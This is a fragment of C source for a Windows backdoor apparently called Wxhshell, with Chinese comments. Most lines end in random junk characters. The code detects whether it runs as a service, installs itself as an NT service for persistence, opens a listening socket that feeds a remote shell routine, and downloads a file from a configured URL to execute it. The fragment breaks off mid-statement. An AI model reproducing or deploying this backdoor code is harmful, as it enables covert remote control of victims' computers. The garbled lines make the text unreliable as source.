DWORD BasePriority; aO' #!k*R
ULONG UniqueProcessId; )^j_O^T5
ULONG InheritedFromUniqueProcessId; 8x{Owj:Q
} PROCESS_BASIC_INFORMATION; .biq)Le
4#$#x=:
PROCNTQSIP NtQueryInformationProcess; ?
#K|l*
]E`<8hRB
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Pe,>ny^J1
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lTx_E#^s
GY~$<^AK
HANDLE hProcess; zx.qN
PROCESS_BASIC_INFORMATION pbi; {EgSjxfmw
U+S=MP
}:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n]4E>/\
if(NULL == hInst ) return 0; =xI;D,@S
IKD{3cVL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cn'>dz3v
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m:H^m/g
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m^A2
8X7
1Viz`y)^
if (!NtQueryInformationProcess) return 0; DH(<{ #u
FQZ*i\G>>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TGCB=e
if(!hProcess) return 0; f{sT*_at
j}+3+ 8D
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vm [lMx
E7 Cobpm
CloseHandle(hProcess); 8U{D)KgS
5zl+M`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;4F6
$T'I
if(hProcess==NULL) return 0; ! ]4u"e
zoq;3a5cqB
HMODULE hMod; E]V,
@
char procName[255]; (,|,j(=]
unsigned long cbNeeded; W`>|OiuF
z*.AuEK?
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aKI"<%PNn
y=3 dGOFB
CloseHandle(hProcess); P>/:dt'GJ}
o@meogkL
if(strstr(procName,"services")) return 1; // 以服务启动 Ymut]`dX
@C;1e7
return 0; // 注册表启动 +f3Rzx]
} opcanl9pSW
5!c/J:z
// 主模块 xR+vu>f
int StartWxhshell(LPSTR lpCmdLine) N`8K1{>BH
{ 9CDei~
SOCKET wsl; I Xc `Ec
BOOL val=TRUE; 0z8(9DlTc
int port=0; RX gb/VR
struct sockaddr_in door; AWO)]rM
[txOh!sxD
if(wscfg.ws_autoins) Install(); #CS>_qe.{
E_,/)U8
port=atoi(lpCmdLine); *^?tr?e%I<
xT*'p&ap
if(port<=0) port=wscfg.ws_port; vq$6e*A
`PWKA;W$0
WSADATA data; yV^Yp=f_
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y>x{ [er
@*;x1A-]V
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; wkg4I.
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |#Gxqq'
door.sin_family = AF_INET; -gn0@hS0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !=9x=
door.sin_port = htons(port); so-5%S
'Ru(`"
1|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qCs/sW
closesocket(wsl); I%T+H[,
return 1; pbMANZU[
} iOfm:DTPr
l}nV WuD
if(listen(wsl,2) == INVALID_SOCKET) { (i&+= +"wn
closesocket(wsl); "x,lL
return 1; YvY|\2^K
} =z1Lim-
Wxhshell(wsl); ~
#jQFyOh
WSACleanup(); JPI%{@Qc^
6 @f>
return 0; vs@d)$N
.S` q2C\
} :V/".K-:J
6H#:rM
// 以NT服务方式启动 Ycr3$n]e
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VU3RFl
{ HE}0_x.
DWORD status = 0; mxlh\'b
DWORD specificError = 0xfffffff; Xaz "!
zIa={tU
serviceStatus.dwServiceType = SERVICE_WIN32; x'|ty[87
serviceStatus.dwCurrentState = SERVICE_START_PENDING; |<W$rzM
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @Q1!xA^S
serviceStatus.dwWin32ExitCode = 0; 8JLf @C:
serviceStatus.dwServiceSpecificExitCode = 0; j >k
;Zj
serviceStatus.dwCheckPoint = 0; z{XB_j6\=
serviceStatus.dwWaitHint = 0; /@LkH$
Fa("Gok[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :6Ri% Nb
if (hServiceStatusHandle==0) return; /|EdpHx0
4D65VgVDM
status = GetLastError(); 1*O|[W
if (status!=NO_ERROR) Tm%5:/<8
{ -` ]9o3E7H
serviceStatus.dwCurrentState = SERVICE_STOPPED; kowS| c#
serviceStatus.dwCheckPoint = 0; a;o0#I#Si
serviceStatus.dwWaitHint = 0; E ,i^rA m
serviceStatus.dwWin32ExitCode = status; J*@ pM
serviceStatus.dwServiceSpecificExitCode = specificError; I;4quFBlMu
SetServiceStatus(hServiceStatusHandle, &serviceStatus); gawY{Jr8I
return; !j!w$
} Y9.3`VX
-}7$;QK&a
serviceStatus.dwCurrentState = SERVICE_RUNNING; dL42)HP5
serviceStatus.dwCheckPoint = 0; {"o9pIh{~
serviceStatus.dwWaitHint = 0; *@rA7zPFf
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H/a gt
} d1~#@6CIz
>}SEU-7&\
// 处理NT服务事件,比如:启动、停止 GcO2oq
VOID WINAPI NTServiceHandler(DWORD fdwControl) '54\!yQ<{
{ /-M:6
switch(fdwControl) Dk
`&tr
{ Ejk;(rxI
case SERVICE_CONTROL_STOP: /&gg].&2?
serviceStatus.dwWin32ExitCode = 0; ~WA@YjQ]
serviceStatus.dwCurrentState = SERVICE_STOPPED; tZ]gVgZg
serviceStatus.dwCheckPoint = 0; rPk|2l,E,3
serviceStatus.dwWaitHint = 0; }Rh\JDiQ
{ z5@XFaQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VEps|d3,,
} |\(uO|)ju
return; a`wjZ"}'[
case SERVICE_CONTROL_PAUSE: 3kxo1eb
serviceStatus.dwCurrentState = SERVICE_PAUSED; Nd0tR3gi7
break; +C%6jGGh
case SERVICE_CONTROL_CONTINUE: &bTCTDZh
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q<sqlh!h
break; J2O,wb)U
case SERVICE_CONTROL_INTERROGATE: KjGu !B
break; a_N7X
}; Us`=^\
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
(?zg.y
} u^MKqI
p]aEC+q
// 标准应用程序主函数 J3yK^@&&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e#[Klh$]EW
{ s^u Y
"7cty\
// 获取操作系统版本 -XYvjW,|
OsIsNt=GetOsVer(); D07M!U
GetModuleFileName(NULL,ExeFile,MAX_PATH); z:Am1B
~"+"6zg
// 从命令行安装 #*h\U]=VS
if(strpbrk(lpCmdLine,"iI")) Install(); Vb,VN?l
%a/3*vz/I%
// 下载执行文件 /A9RmTb
if(wscfg.ws_downexe) { SVU>q:ab
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) joY7Vk!<